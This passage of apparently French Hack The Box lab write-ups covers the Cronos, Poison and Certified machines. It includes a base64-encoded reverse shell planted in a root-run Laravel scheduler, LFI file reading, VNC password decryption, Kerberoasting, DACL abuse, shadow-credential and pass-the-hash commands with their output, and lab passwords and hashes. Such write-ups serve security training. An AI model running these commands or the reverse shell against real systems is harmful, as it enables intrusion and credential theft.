52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * root php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1

Grâce à ChatGPT, on comprend qu’il faut modifier le fichier /var/www/laravel/app/Console/Kernel.php. La fonction schedule de ce fichier est executé toutes les minutes par root. Il suffit donc d’executer une commande de reverse shell et le tour est joué.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42


www-data@cronos:/var/www/laravel/app/Console$ head Kernel.php -n100
<?php

namespace App\Console;

use Illuminate\Console\Scheduling\Schedule;
use Illuminate\Foundation\Console\Kernel as ConsoleKernel;

class Kernel extends ConsoleKernel
{
 /**
 * The Artisan commands provided by your application.
 *
 * @var array
 */
 protected $commands = [
 //
 ];

 /**
 * Define the application's command schedule.
 *
 * @param \Illuminate\Console\Scheduling\Schedule $schedule
 * @return void
 */
 protected function schedule(Schedule $schedule)
 {
 $schedule->exec('echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjUvOTAwMiAwPiYx | base64 -d | bash')->everyMinute();
 // $schedule->command('inspire')
 // ->hourly();
 }

 /**
 * Register the Closure based commands for the application.
 *
 * @return void
 */
 protected function commands()
 {
 require base_path('routes/console.php');
 }
}

Au bout d’une minute, on reçoit bien un shell en tant que root.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


## nc -lnvp 9002 
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9002
Ncat: Listening on 0.0.0.0:9002
Ncat: Connection from 10.10.10.13.
Ncat: Connection from 10.10.10.13:38926.
sh: 0: can't access tty; job control turned off
# whoami
root
# cat /root/root.txt 
3c1c.....64e8

Tips

Toujours faire un sqlmap sur une page de login si on ne trouve rien ! Tester un “’ or 1=1; –” n’est pas suffisant. Il y a bcp de sql injection que l’on peut decouvrir avec SQLMAP…

HTB | Poison

Tue, 04 Mar 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Poison	Linux	10.10.10.84	Medium

Users

charix : Charix!2#4%6&8(0

Enumeration

nmap

1
2


22 - ssh
80 - http freebsd apache

Foothold

charix - user flag

Sur la page d’accueil on trouve un barre de recherche avec un vuln qui nous permet d’afficher n’importe quel fichier. On affiche /etc/passwd et on trouve le user charix. Ensuite, on trouve ce fichier sur la page web du port 80 de la machine. Il indique que c’est du base64 encodé 13 fois :

1

This password is secure, it's encoded atleast 13 times.. what could go wrong really.. Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVU bGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBS bVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVW M040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRs WmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYy eG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01G WkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYw MXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVa T1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5k WFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZk WGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0 NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZT Vm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZz WkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBW VmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpO Ukd4RVdub3dPVU5uUFQwSwo=

On trouve ce script bash sur un forum qui permet de rapidement effectué 13 fois un base64 -d :

1
2
3
4
5


state=$(<b64.txt)
for i in {1..13}; do
 state=$(<<<"$state" base64 --decode)
done
echo "$state"

On trouve rapidement le mot de passe, puis on se connecte en SSH :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50


┌──(kali㉿kali)-[~/htb]
└─$ cd Poison

┌──(kali㉿kali)-[~/htb/Poison]
└─$ vim b64.txt

┌──(kali㉿kali)-[~/htb/Poison]
└─$ state=$(<b64.txt)
for i in {1..13}; do
 state=$(<<<"$state" base64 --decode)
done
echo "$state"
Charix!2#4%6&8(0

┌──(kali㉿kali)-[~/htb/Poison]
└─$ ssh charix@10.10.10.84
(charix@10.10.10.84) Password for charix@Poison:
Last login: Mon Mar 19 16:38:00 2018 from 10.10.14.4
FreeBSD 11.1-RELEASE (GENERIC) #0 r321309: Fri Jul 21 02:08:28 UTC 2017

Welcome to FreeBSD!

Release Notes, Errata: https://www.FreeBSD.org/releases/
Security Advisories: https://www.FreeBSD.org/security/
FreeBSD Handbook: https://www.FreeBSD.org/handbook/
FreeBSD FAQ: https://www.FreeBSD.org/faq/
Questions List: https://lists.FreeBSD.org/mailman/listinfo/freebsd-questions/
FreeBSD Forums: https://forums.FreeBSD.org/

Documents installed with the system are in the /usr/local/share/doc/freebsd/
directory, or can be installed later with: pkg install en-freebsd-doc
For other languages, replace "en" with a language code like de or fr.

Show the version of FreeBSD installed: freebsd-version ; uname -a
Please include that output and any error messages when posting questions.
Introduction to manual pages: man man
FreeBSD directory layout: man hier

Edit /etc/motd to change this login announcement.
Man pages are divided into section depending on topic. There are 9 different
sections numbered from 1 (General Commands) to 9 (Kernel Developer's Manual).
You can get an introduction to each topic by typing

 man <number> intro

In other words, to get the intro to general commands, type

 man 1 intro
charix@Poison:~ % cat user.txt
eaac.....209c

On a donc : charix : Charix!2#4%6&8(0

Privilege Escalation

secret.zip

On découvre un fichier secret.zip chiffré à la racine du home de charlix. On peut le déchiffrer avec le meme mdp que popur le ssh de charlix: Charix!2#4%6&8(0

On découvre un fichier de 8 caracteres chiffrés

VNC launched by root

En regardant les process executés par root, on découvre une sessions VNC ouverte sur le port 5901, lancé par root. Si on arrive a s’y connecté, on peut optentiellemnt avec un shell en tant que root.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21


╚ Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes
root 1 0.0 0.1 5408 1040 - SLs 22:56 0:00.00 /sbin/init --
root 319 0.0 0.5 9560 5052 - Ss 22:56 0:00.09 /sbin/devd
root 390 0.0 0.2 10500 2452 - Ss 22:56 0:00.04 /usr/sbin/syslogd -s
root 543 0.0 0.5 56320 5396 - S 22:57 0:01.18 /usr/local/bin/vmtoolsd -c /usr/local/share/vmware-tools/tools.conf -p /usr/local/lib/open-vm-tools/plugins/vmsvc
root 620 0.0 0.7 57812 7052 - Is 22:57 0:00.01 /usr/sbin/sshd
root 625 0.0 1.1 99172 11516 - Ss 22:58 0:00.06 /usr/local/sbin/httpd -DNOHTTPACCEPT
root 642 0.0 0.6 20636 6140 - Ss 22:58 0:00.03 sendmail: accepting connections (sendmail)
root 650 0.0 0.2 12592 2436 - Ss 22:59 0:00.01 /usr/sbin/cron -s
root 529 0.0 0.9 23620 8872 v0- I 22:57 0:00.02 Xvnc :1 -desktop X -httpd /usr/local/share/tightvnc/classes -auth /root/.Xauthority -geometry 1280x800 -depth 24 -rfbwait 120000 -rfbauth /root/.vnc/passwd -rfbport 5901 -localhost -nolisten tcp :1
root 540 0.0 0.7 67220 7064 v0- I 22:57 0:00.01 xterm -geometry 80x24+10+10 -ls -title X Desktop
root 541 0.0 0.5 37620 5312 v0- I 22:57 0:00.00 twm
root 697 0.0 0.2 10484 2076 v0 Is+ 22:59 0:00.00 /usr/libexec/getty Pc ttyv0
root 698 0.0 0.2 10484 2076 v1 Is+ 22:59 0:00.00 /usr/libexec/getty Pc ttyv1
root 699 0.0 0.2 10484 2076 v2 Is+ 22:59 0:00.00 /usr/libexec/getty Pc ttyv2
root 700 0.0 0.2 10484 2076 v3 Is+ 22:59 0:00.00 /usr/libexec/getty Pc ttyv3
root 701 0.0 0.2 10484 2076 v4 Is+ 22:59 0:00.00 /usr/libexec/getty Pc ttyv4
root 702 0.0 0.2 10484 2076 v5 Is+ 22:59 0:00.00 /usr/libexec/getty Pc ttyv5
root 703 0.0 0.2 10484 2076 v6 Is+ 22:59 0:00.00 /usr/libexec/getty Pc ttyv6
root 704 0.0 0.2 10484 2076 v7 Is+ 22:59 0:00.00 /usr/libexec/getty Pc ttyv7
root 617 0.0 0.4 19660 3616 0 Is+ 22:57 0:00.00 -csh (csh)

Dechiffrement du fichier secret

Finalement, on emet l’hypothese que le fichier secret serait un fichier de mot de passe chiffré pour vnc. On tente d’utiliser un outil github pour le déchiffré : https://github.com/jeroennijhof/vncpwd

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


┌──(kali㉿kali)-[~/htb/Poison]
└─$ git clone https://github.com/jeroennijhof/vncpwd.git
Cloning into 'vncpwd'...
remote: Enumerating objects: 28, done.
remote: Total 28 (delta 0), reused 0 (delta 0), pack-reused 28 (from 1)
Receiving objects: 100% (28/28), 22.15 KiB | 1.85 MiB/s, done.
Resolving deltas: 100% (9/9), done.

┌──(kali㉿kali)-[~/htb/Poison]
└─$ cd vncpwd

┌──(kali㉿kali)-[~/htb/Poison/vncpwd]
└─$ ls
d3des.c d3des.h LICENSE Makefile README vncpwd.c

┌──(kali㉿kali)-[~/htb/Poison/vncpwd]
└─$ make
gcc -Wall -g -o vncpwd vncpwd.c d3des.c

┌──(kali㉿kali)-[~/htb/Poison/vncpwd]
└─$ ./vncpwd ../secret
Password: VNCP@$$!

On obtient le mot de passe: VNCP@$$!

Connexion sur la session VNC - root flag

On peut se connecter a une session VNC facilement en utilisant l’outil vncviewer. Mais le port 5901 n’est dispo qu’en local sur la machine ! Je propose de résoudre ce probleme en faisant du port forwarding sur ma machine, à l’aide l’option -L de ssh.

Ensuite j’ai pu utiliser vncviewer et ouvrir la session avec le mot de passe obtenu

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52


┌──(kali㉿kali)-[~/htb/Poison]
└─$ ssh charix@10.10.10.84 -L 5901:localhost:5901
Charix!2#4%6&8(0
(charix@10.10.10.84) Password for charix@Poison:
Last login: Tue Mar 4 23:11:10 2025 from 10.10.14.19
FreeBSD 11.1-RELEASE (GENERIC) #0 r321309: Fri Jul 21 02:08:28 UTC 2017

Welcome to FreeBSD!

---------------------------------------------

┌──(kali㉿kali)-[~/htb/Poison/vncpwd]
└─$ nmap localhost -p 5901
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-04 17:35 EST
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000067s latency).
Other addresses for localhost (not scanned): ::1

PORT STATE SERVICE
5901/tcp open vnc-1

Nmap done: 1 IP address (1 host up) scanned in 0.13 seconds

┌──(kali㉿kali)-[~/htb/Poison/vncpwd]
└─$ vncviewer localhost
vncviewer: ConnectToTcpAddr: connect: Connection refused
Unable to connect to VNC server

┌──(kali㉿kali)-[~/htb/Poison/vncpwd]
└─$ vncviewer localhost:5901
Connected to RFB server, using protocol version 3.8
Enabling TightVNC protocol extensions
Performing standard VNC authentication
Password:
Authentication successful
Desktop name "root's X desktop (Poison:1)"
VNC server default format:
 32 bits per pixel.
 Least significant byte first in each pixel.
 True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using default colormap which is TrueColor. Pixel format:
 32 bits per pixel.
 Least significant byte first in each pixel.
 True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Same machine: preferring raw encoding

--------- VNCVIEWER -------------

root@Poison:~ # whoami
root
root@Poison:~ # cat root.txt
716d.....61f5

HTB | Certified

Wed, 11 Dec 2024 00:00:00 +0000

Machine name	OS	IP	Difficulty
Certified	Windows	10.10.11.41	Medium

Users

1
2
3
4


User : judith.mader, Password : judith09
User : management_svc, NT hash : a091c1832bcdd4677c28b5a6a1295584
User : ca_operator, NT hash : 94994b74f29662fc4d702f2f3b0df327
User : Administrator, LM/NT hash : aad3b435b51404eeaad3b435b51404ee:0d5b49608bbce1751f708748f67e2d34

Enumeration

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


nmap 10.10.11.41 -Pn
Starting Nmap 7.80 ( https://nmap.org ) at 2024-12-08 14:07 CET
Nmap scan report for 10.10.11.41
Host is up (0.060s latency).
Not shown: 992 filtered ports
PORT STATE SERVICE
53/tcp open domain
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
636/tcp open ldapssl
3269/tcp open globalcatLDAPssl

Enumerating Users - smb

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34


nxc smb 10.10.11.41 -u 'judith.mader' -p 'judith09' -d 'certified.htb' --rid-brute
SMB 10.10.11.41 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.41 445 DC01 [+] certified.htb\judith.mader:judith09
SMB 10.10.11.41 445 DC01 498: CERTIFIED\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB 10.10.11.41 445 DC01 500: CERTIFIED\Administrator (SidTypeUser)
SMB 10.10.11.41 445 DC01 501: CERTIFIED\Guest (SidTypeUser)
SMB 10.10.11.41 445 DC01 502: CERTIFIED\krbtgt (SidTypeUser)
SMB 10.10.11.41 445 DC01 512: CERTIFIED\Domain Admins (SidTypeGroup)
SMB 10.10.11.41 445 DC01 513: CERTIFIED\Domain Users (SidTypeGroup)
SMB 10.10.11.41 445 DC01 514: CERTIFIED\Domain Guests (SidTypeGroup)
SMB 10.10.11.41 445 DC01 515: CERTIFIED\Domain Computers (SidTypeGroup)
SMB 10.10.11.41 445 DC01 516: CERTIFIED\Domain Controllers (SidTypeGroup)
SMB 10.10.11.41 445 DC01 517: CERTIFIED\Cert Publishers (SidTypeAlias)
SMB 10.10.11.41 445 DC01 518: CERTIFIED\Schema Admins (SidTypeGroup)
SMB 10.10.11.41 445 DC01 519: CERTIFIED\Enterprise Admins (SidTypeGroup)
SMB 10.10.11.41 445 DC01 520: CERTIFIED\Group Policy Creator Owners (SidTypeGroup)
SMB 10.10.11.41 445 DC01 521: CERTIFIED\Read-only Domain Controllers (SidTypeGroup)
SMB 10.10.11.41 445 DC01 522: CERTIFIED\Cloneable Domain Controllers (SidTypeGroup)
SMB 10.10.11.41 445 DC01 525: CERTIFIED\Protected Users (SidTypeGroup)
SMB 10.10.11.41 445 DC01 526: CERTIFIED\Key Admins (SidTypeGroup)
SMB 10.10.11.41 445 DC01 527: CERTIFIED\Enterprise Key Admins (SidTypeGroup)
SMB 10.10.11.41 445 DC01 553: CERTIFIED\RAS and IAS Servers (SidTypeAlias)
SMB 10.10.11.41 445 DC01 571: CERTIFIED\Allowed RODC Password Replication Group (SidTypeAlias)
SMB 10.10.11.41 445 DC01 572: CERTIFIED\Denied RODC Password Replication Group (SidTypeAlias)
SMB 10.10.11.41 445 DC01 1000: CERTIFIED\DC01$ (SidTypeUser)
SMB 10.10.11.41 445 DC01 1101: CERTIFIED\DnsAdmins (SidTypeAlias)
SMB 10.10.11.41 445 DC01 1102: CERTIFIED\DnsUpdateProxy (SidTypeGroup)
SMB 10.10.11.41 445 DC01 1103: CERTIFIED\judith.mader (SidTypeUser)
SMB 10.10.11.41 445 DC01 1104: CERTIFIED\Management (SidTypeGroup)
SMB 10.10.11.41 445 DC01 1105: CERTIFIED\management_svc (SidTypeUser)
SMB 10.10.11.41 445 DC01 1106: CERTIFIED\ca_operator (SidTypeUser)
SMB 10.10.11.41 445 DC01 1601: CERTIFIED\alexander.huges (SidTypeUser)
SMB 10.10.11.41 445 DC01 1602: CERTIFIED\harry.wilson (SidTypeUser)
SMB 10.10.11.41 445 DC01 1603: CERTIFIED\gregory.cameron (SidTypeUser)

Bloodhound-python

On execute bloodhound-python pour récupérer des données sur l’Active directory.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


sudo bloodhound-python -d CERTIFIED.HTB -u 'judith.mader' -p 'judith09' -dc certified.htb -c All --zip -ns 10.10.11.41
INFO: Found AD domain: certified.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: certified.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 2 computers
INFO: Connecting to LDAP server: certified.htb
INFO: Found 10 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer:
INFO: Querying computer: DC01.certified.htb
INFO: Done in 00M 07S
INFO: Compressing output into 20241208115439_bloodhound.zip

Foothold

Targeted Kerberoasting

D’après ce qu’on observe sur bloodhound, on peut voir que l’utilisateur management_svc peut potentiellement être récupéré à l’aide d’une attaque “targeted Kerberoasting”. A l’aide de l’outil targetedKerberoast.py, on effectue l’attaque et on récupére le hash du mot de passe de management_svc :

1
2
3
4
5


targetedKerberoast.py -d certified.htb -u judith.mader -p judith09 -v
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[+] Printing hash for (management_svc)
$krb5tgs$23$*management_svc$CERTIFIED.HTB$certified.htb/management_svc*$98e6a7443e6760f44cdd6b7a9ff0cdc8$21d6889b72b0eae33c5f4eb81af29e699b45b48284cde10ae2fdc23a1c929a5f5ccb8c88ef7c9a6f14552b848d42791d0c4f0827621e3fbd06abfb0fe5d41b2754443a76c8abe11350c929d8b6251f927222c0f1c7339620a15866b2f3714d5ab15cdb2893b13daf6db594aa4259d89028198d886c697997cc443afe9f8a09361736573565ebfa264a03c5d00ffb2377898d0c6087385d3b895ecb7e5ae11ac37875409b1bb574350707d049e5aad147b5a36c1172ea4d4deb2f7c62e5bfb75edcbb475e59a34ee8255b9262b39449625a05185526829e7437e9078253741d3bcb130325ad4e07ca41a2436a29020d467f67e4ff16e5be22a04b30317be8dc773f11374aabea10e4e669146698d0c558a060e27ac55554121cc26d7050172044810850793699c631a46cb33af8650b940c3b7676bd397c47cd7b27dd62f15d2b4fe8ca2c741bad98335af2be77ec06317d2ca3e5fb32bad8c3cc599cc2f62fc5a3e1124501ca010fe529d00e87babcaadbb8fb331d9027c999c9d30ad828613f25e782acc721d3842db14020713fcddded15996c195da468a14aa2cf2595f94c305d68d25d91579ec569e226627f15b0b7c5df2fd4306a8b5425e553711f321f3f40d0e9d65bcf77d20db59fea66a66b01ff383af30e7541ace8c20266199fd9ea56a54a5aade2859bd463b386eb754a8eb2c7202b3575adc3e1d8fb9231d93fab04039d4a7f07a9b79ffe00fa9c5c786404c68742e822a84af136cd472f6168621dfa4817312bdc08eb5e070a69842b15bbbea8a503f101043e1981cda2e0df4008c52d41b0e2805d8616c08b025eea8fc230b1b983322be2060f18da2ee9d832769ef53dcbd6d27bed287c55ed73be5678e21f52c4d3703a90d65a340e573648f43bf60a8194975516d2e70b69522f24d4aa713a20ba0d84efa776eb7886113456c77cb1cb535cb741ff651caf111ecec2f8d63a37d544035e2acf72298024415ee49f00037ee3e0a5653643a48675d355c7fd911f728fa3b9933c14919828bc74e689c523c7602a03413105f8c8aee518c6458ad4f2fcdcc8859ebca960a39b37987c7ac6a8d3f0bb8ca06b82f7e3afc3bb0d9777e852fb0a6ccdaf9a7897632d5c1ff7a7524f1ccd06da51b1ffeaeeca9b1b9ef827b7ec9de56af9af28093990983c4bc1543229c1b886b802286d606aca8fd2f1decc07b25f241fdd287975d6db4d32e472ae89700764a5e5a5cefb977ac106431fa8f435bf2c420a00528aaaa9237a286ff433be4ce8eb458cdcab450003ee0c5d49ce6c069cc40c48ed721c3a07b42e470991321b322475f9aef94c3e488b62289793fb3dac6c56cad4ebb95189c8864d2b7425047f5e4fd8f71d029f6e7df1caea05089da8a024bca18c34d92c52cb5d2bc19a4578ec9e872285fccabbdf54cff68968cff90ac592f247928bd27fcbb89b45a75ae00351ca654b9a978c213e52bbca509eeb5c34c520f94c5d394b2dee91988bddb8d7a6e1f61732d961c42ad33b76b46122f2e4a55dce6abf450d64180b6ff2394a59418668bf79f6d34af701fd1e98

Shadow credential attack

Grant ownership : It has the following command-line arguments.This abuse can be carried out when controlling an object that has WriteOwner or GenericAll over any object. The attacker can update the owner of the target object. Once the object owner has been changed to a principal the attacker controls, the attacker may manipulate the object any way they see fit. On va donc rendre judith.mader owner du groupe

1
2
3
4
5
6
7


python3 owneredit.py -new-owner 'judith.mader' -target 'management' -dc-ip 10.10.11.41 -action write 'certified.htb'/'judith.mader':'judith09'

[*] Current owner information below
[*] - SID: S-1-5-21-729746778-2675978091-3820388244-512
[*] - sAMAccountName: Domain Admins
[*] - distinguishedName: CN=Domain Admins,CN=Users,DC=certified,DC=htb
[*] OwnerSid modified successfully!

Puis :

Modifying the rights To abuse ownership of a group object, you may grant yourself the AddMember privilege.

1
2
3
4
5
6
7
8
9


dacledit.py -action 'write' -rights 'WriteMembers' -principal 'judith.mader' -target 'management' 'certified.htb'/'judith.mader':'judith09'
[*] DACL backed up to dacledit-20241209-130331.bak
[*] DACL modified successfully!

## Cependant, après verification ca n'a pas fonctionné. Par contre j'ai pu me donner le controle totale a l'aide de cette commande
dacledit.py -action 'write' -rights 'FullControl' -principal 'judith.mader' -target 'management' 'certified.htb'/'judith.mader':'judith09'

## Pour vérifier les droits des utilisateur sur un groupe/objet, on peut utiliser cette commande
dacledit.py -action 'read' -target 'management' 'certified.htb'/'judith.mader':'judith09' | grep judith -A 3 -B 3

Enfin :

Adding to the group You can now add members to the group. On va donc s’ajouter comme membre du groupe : judith.mader.

1

net rpc group addmem "management" "judith.mader" -U "certified.htb"/"judith.mader"%"judith09" -S "certified.htb"

Maintenant que judith.mader est membre du groupe, on va enfin pouvoir faire une ‘shadow credential attack’ pour obtenir le hash NT de management_svc :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48


certipy-ad shadow auto -username judith.mader@certified.htb -p judith09 -dc-ip 10.10.11.41 -account management_svc -debug

[+] Authenticating to LDAP server
[+] Bound to ldaps://10.10.11.41:636 - ssl
[+] Default path: DC=certified,DC=htb
[+] Configuration path: CN=Configuration,DC=certified,DC=htb
[*] Targeting user 'management_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '8438746f-c951-b3d9-9be0-c455cedf6731'
<KeyCredential structure at 0x7f711d6a6900>
 | Owner: CN=management service,CN=Users,DC=certified,DC=htb
 | Version: 0x200
 | KeyID: KcbU1P0bMaVuWjpricPI4cNFK5+qjRkV4gYbM4DfPP0=
 | KeyHash: 64a54a908329ffbd4746b1dabf32b65a35a9a107e4851235de8948687e0cf69d
 | RawKeyMaterial: <dsinternals.common.cryptography.RSAKeyMaterial.RSAKeyMaterial object at 0x7f711d6a68a0>
 | | Exponent (E): 65537
 | | Modulus (N): 0x920669e7366de61569081a4de24445dc45e6856c747d69ce86cd15dadcf516effc4c3543cb7e96487a3b5390c05b76ef5f1d1c0f2266803ffec550d281a108c2f594d21f4ce33abb612532f88560b6627b7dbe21247ec565e51d7b07b3bcfcbc858c91defaf7ee39e6ee7725d9df0ba759fbabc0ebea062c2c4adc03e6bb2459a7e285ed37eefeaaa91a0fd2de40114879e3d7b286646dfd0d6448a83b900eb7acc4b75345b61eefe66688de7a1425706c889a9e978ffcf2eb4456646c410454680341338a19214f690ffad5258b39cdbf000cbdbd0620d233aab9a431845148283d6fb6b5ae0c784a00938d72e00a254929a0fce6c922422d17abe8f57e8e69
 | | Prime1 (P): 0x0
 | | Prime2 (Q): 0x0
 | Usage: KeyUsage.NGC
 | LegacyUsage: None
 | Source: KeySource.AD
 | DeviceId: 8438746f-c951-b3d9-9be0-c455cedf6731
 | CustomKeyInfo: <CustomKeyInformation at 0x7f711d6968f0>
 | | Version: 1
 | | Flags: KeyFlags.NONE
 | | VolumeType: None
 | | SupportsNotification: None
 | | FekKeyVersion: None
 | | Strength: None
 | | Reserved: None
 | | EncodedExtendedCKI: None
 | LastLogonTime (UTC): 2024-12-10 04:23:52.735565
 | CreationTime (UTC): 2024-12-10 04:23:52.735565
[+] Key Credential: B:828:0002000020000129c6d4d4fd1b31a56e5a3a6b89c3c8e1c3452b9faa8d1915e2061b3380df3cfd20000264a54a908329ffbd4746b1dabf32b65a35a9a107e4851235de8948687e0cf69d1b0103525341310008000003000000000100000000000000000000010001920669e7366de61569081a4de24445dc45e6856c747d69ce86cd15dadcf516effc4c3543cb7e96487a3b5390c05b76ef5f1d1c0f2266803ffec550d281a108c2f594d21f4ce33abb612532f88560b6627b7dbe21247ec565e51d7b07b3bcfcbc858c91defaf7ee39e6ee7725d9df0ba759fbabc0ebea062c2c4adc03e6bb2459a7e285ed37eefeaaa91a0fd2de40114879e3d7b286646dfd0d6448a83b900eb7acc4b75345b61eefe66688de7a1425706c889a9e978ffcf2eb4456646c410454680341338a19214f690ffad5258b39cdbf000cbdbd0620d233aab9a431845148283d6fb6b5ae0c784a00938d72e00a254929a0fce6c922422d17abe8f57e8e6901000401010005001000066f74388451c9d9b39be0c455cedf67310200070100080008fb78af51bb4adb01080009fb78af51bb4adb01:CN=management service,CN=Users,DC=certified,DC=htb
[*] Adding Key Credential with device ID '8438746f-c951-b3d9-9be0-c455cedf6731' to the Key Credentials for 'management_svc'
[*] Successfully added Key Credential with device ID '8438746f-c951-b3d9-9be0-c455cedf6731' to the Key Credentials for 'management_svc'
[*] Authenticating as 'management_svc' with the certificate
[*] Using principal: management_svc@certified.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'management_svc.ccache'
[*] Trying to retrieve NT hash for 'management_svc'
[*] Restoring the old Key Credentials for 'management_svc'
[*] Successfully restored the old Key Credentials for 'management_svc'
[*] NT hash for 'management_svc': a091c1832bcdd4677c28b5a6a1295584

On obtient le hachage NT pour l’utilisateur management_svc !

WinRm connexion avec le hachage NT (Pass-The-Hash) - user flag

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


evil-winrm -i 10.10.11.41 -u management_svc -H a091c1832bcdd4677c28b5a6a1295584

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\management_svc\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\management_svc\Desktop> cat user.txt
423f.....d084

Shadow Credentials attack : management_svc -> ca_operator

On effectue à nouveau une shadow credential attack pour récupérer le hachage NT de l’utilisateur ca_operator. Pour cela on utilise l’utilisateur management_svc avec son hachage NT (option -hashes au lieu du mot de passe qu’on ne connait -p) :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


certipy-ad shadow auto -username management_svc@certified.htb -hashes a091c1832bcdd4677c28b5a6a1295584 -dc-ip 10.10.11.41 -account ca_operator -debug

[+] Authenticating to LDAP server
[+] Bound to ldaps://10.10.11.41:636 - ssl
[+] Default path: DC=certified,DC=htb
[+] Configuration path: CN=Configuration,DC=certified,DC=htb
[*] Targeting user 'ca_operator'
...
...
[*] Successfully restored the old Key Credentials for 'ca_operator'
[*] NT hash for 'ca_operator': 13b29964cc2480b4ef454c59562e675c

### Nouveau bloodhound avec l’utilisateur ca_operator

1

sudo bloodhound-python -d CERTIFIED.HTB -u 'ca_operator' -p 'P@ssword' -dc certified.htb -c All --zip -ns 10.10.11.41

Bruteforce hashcat du hachage NT

On obtient le mot de passe de l’utilisateur ca_operator grâce à hashcat et la wordlist rockyou.txt :

1
2


hashcat -m 1000 -a 0 hash.txt ~/wordlists/rockyou.txt --show
13b29964cc2480b4ef454c59562e675c:P@ssword

Privilege Escalation

Bloodhound PE Path

Checking vuln in certificates / templates with ca_operator

On observe que management_svc à le droit CanPSRemote sur la machine DC01 :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
